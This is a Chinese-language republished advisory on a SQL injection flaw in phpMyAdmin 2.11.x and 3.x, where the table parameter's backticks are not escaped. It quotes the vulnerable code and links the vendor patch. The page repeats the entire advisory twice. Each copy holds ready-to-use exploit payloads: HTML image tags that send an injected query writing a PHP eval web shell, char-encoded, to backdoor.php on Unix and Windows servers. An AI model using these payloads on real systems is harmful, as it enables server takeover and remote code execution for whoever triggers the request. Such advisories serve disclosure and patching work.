phpMyAdmin table參數(shù)SQL注入漏洞
發(fā)布日期：2021-12-15 04:11 | 文章來源：腳本之家
影響版本:
phpMyAdmin phpmyadmin 3.x
phpMyAdmin phpMyAdmin 2.11.x
漏洞描述:
BUGTRAQ ID: 32720
phpMyAdmin是用PHP編寫的工具，用于通過WEB管理MySQL。
phpMyAdmin的./phpmyadmin/libraries/db_table_exists.lib.php文件中沒有正確地過濾table參數(shù)：
$_result = PMA_DBI_try_query(
'SELECT COUNT(*) FROM `' .
PMA_sqlAddslashes($table, true) . '`;',
null, PMA_DBI_QUERY_STORE);
PMA_sqlAddslashes()函數(shù)僅禁用了單引號，但忽略了反勾號（`）和雙引號（"），因此遠(yuǎn)程攻擊者可以通過提交惡意請求執(zhí)行sql注入攻擊。
<*參考
http://secunia.com/advisories/33076/
http://www.phpmyadmin.net/home_page/security/PMASA-2008-10.php
http://www.milw0rm.com/exploits/7382
*>
SEBUG安全建議:
phpMyAdmin
----------
目前廠商已經(jīng)發(fā)布了升級補(bǔ)丁以修復(fù)這個安全問題，請到廠商的主頁下載：
http://phpmyadmin.svn.sourceforge.net/viewvc/phpmyadmin?view=rev&revision=12100
*nix平臺： <html> <img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1"> </html> path: /var/www/backdoor.php backdoor: <?php eval($_GET[e]);?> Windows平臺： <html> <img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+115%2C+116%2C+114%2C+105%2C+112%2C+115%2C+108%2C+97%2C+115%2C+104%2C+101%2C+115%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+41%2C+59%2C+63%2C+62%29+into+outfile+%22c%3A%2Fxampp%2Fhtdocs%2Fbackdoor.php%22+--+1"> </html> path: c:/xampp/htdocs/backdoor.php backdoor: <?php eval(stripslashes($_GET[e]));?>
phpMyAdmin phpmyadmin 3.x
phpMyAdmin phpMyAdmin 2.11.x
漏洞描述:
BUGTRAQ ID: 32720
phpMyAdmin是用PHP編寫的工具，用于通過WEB管理MySQL。
phpMyAdmin的./phpmyadmin/libraries/db_table_exists.lib.php文件中沒有正確地過濾table參數(shù)：
$_result = PMA_DBI_try_query(
'SELECT COUNT(*) FROM `' .
PMA_sqlAddslashes($table, true) . '`;',
null, PMA_DBI_QUERY_STORE);
PMA_sqlAddslashes()函數(shù)僅禁用了單引號，但忽略了反勾號（`）和雙引號（"），因此遠(yuǎn)程攻擊者可以通過提交惡意請求執(zhí)行sql注入攻擊。
<*參考
http://secunia.com/advisories/33076/
http://www.phpmyadmin.net/home_page/security/PMASA-2008-10.php
http://www.milw0rm.com/exploits/7382
*>
SEBUG安全建議:
phpMyAdmin
----------
目前廠商已經(jīng)發(fā)布了升級補(bǔ)丁以修復(fù)這個安全問題，請到廠商的主頁下載：
http://phpmyadmin.svn.sourceforge.net/viewvc/phpmyadmin?view=rev&revision=12100
*nix平臺： <html> <img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1"> </html> path: /var/www/backdoor.php backdoor: <?php eval($_GET[e]);?> Windows平臺： <html> <img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+115%2C+116%2C+114%2C+105%2C+112%2C+115%2C+108%2C+97%2C+115%2C+104%2C+101%2C+115%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+41%2C+59%2C+63%2C+62%29+into+outfile+%22c%3A%2Fxampp%2Fhtdocs%2Fbackdoor.php%22+--+1"> </html> path: c:/xampp/htdocs/backdoor.php backdoor: <?php eval(stripslashes($_GET[e]));?>
版權(quán)聲明：本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有，歡迎引用、轉(zhuǎn)載，請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站，禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像，否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來，僅供學(xué)習(xí)參考，不代表本站立場，如有內(nèi)容涉嫌侵權(quán)，請聯(lián)系alex-e#qq.com處理。
相關(guān)文章
關(guān)注官方微信